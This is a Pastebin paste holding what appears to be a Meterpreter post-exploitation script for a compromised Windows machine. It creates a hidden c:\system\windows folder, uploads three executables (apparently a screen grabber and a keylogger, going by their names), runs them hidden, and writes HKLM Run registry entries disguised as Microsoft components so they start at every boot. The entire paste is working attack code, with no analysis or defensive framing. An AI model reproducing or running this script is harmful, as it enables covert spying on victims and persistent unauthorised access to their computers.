Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if(not client.sys.process["wingrab.exe"])
- if(not client.sys.process["winlog.exe"])
- if(not client.fs.dir.entries("c:\\system"))
- print_status("Creating directory")
- client.fs.dir.mkdir("c:\\system")
- client.fs.dir.mkdir("c:\\system\\windows")
- client.fs.file.upload_file("c:\\system\\windows\\wingrab.exe" , "/root/Desktop/exploits/Project/wingrab.exe")
- client.fs.file.upload_file("c:\\system\\windows\\winlog.exe" , "/root/Desktop/exploits/Project/winlog.exe")
- client.fs.file.upload_file("c:\\system\\windows\\winview.exe" , "/root/Desktop/exploits/Project/winview.exe")
- client.sys.process.execute("c:\\system\\windows\\wingrab.exe", nil, {'Hidden' => 'true'})
- client.sys.process.execute("c:\\system\\windows\\winlog.exe", nil, {'Hidden' => 'true'})
- key = "HKLM\\software\\microsoft\\windows\\currentversion\\run"
- value = "MicrosoftETA"
- data = "c:\\system\\windows\\wingrab.exe"
- type = "REG_SZ"
- root_key, base_key = client.sys.registry.splitkey(key)
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
- open_key.set_value(value, client.sys.registry.type2str(type), data)
- print_line("Successful")
- key = "HKLM\\software\\microsoft\\windows\\currentversion\\run"
- value = "MicrosoftETI"
- data = "c:\\system\\windows\\winlog.exe"
- type = "REG_SZ"
- root_key, base_key = client.sys.registry.splitkey(key)
- open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
- open_key.set_value(value, client.sys.registry.type2str(type), data)
- print_line("Successful")
- else
- print("Directory already created....")
- client.sys.process.execute("c:\\system\\windows\\wingrab.exe", nil, {'Hidden' => 'true'})
- client.sys.process.execute("c:\\system\\windows\\winlog.exe", nil, {'Hidden' => 'true'})
- end
- print("test")
- end
- end
Add Comment
Please, Sign In to add comment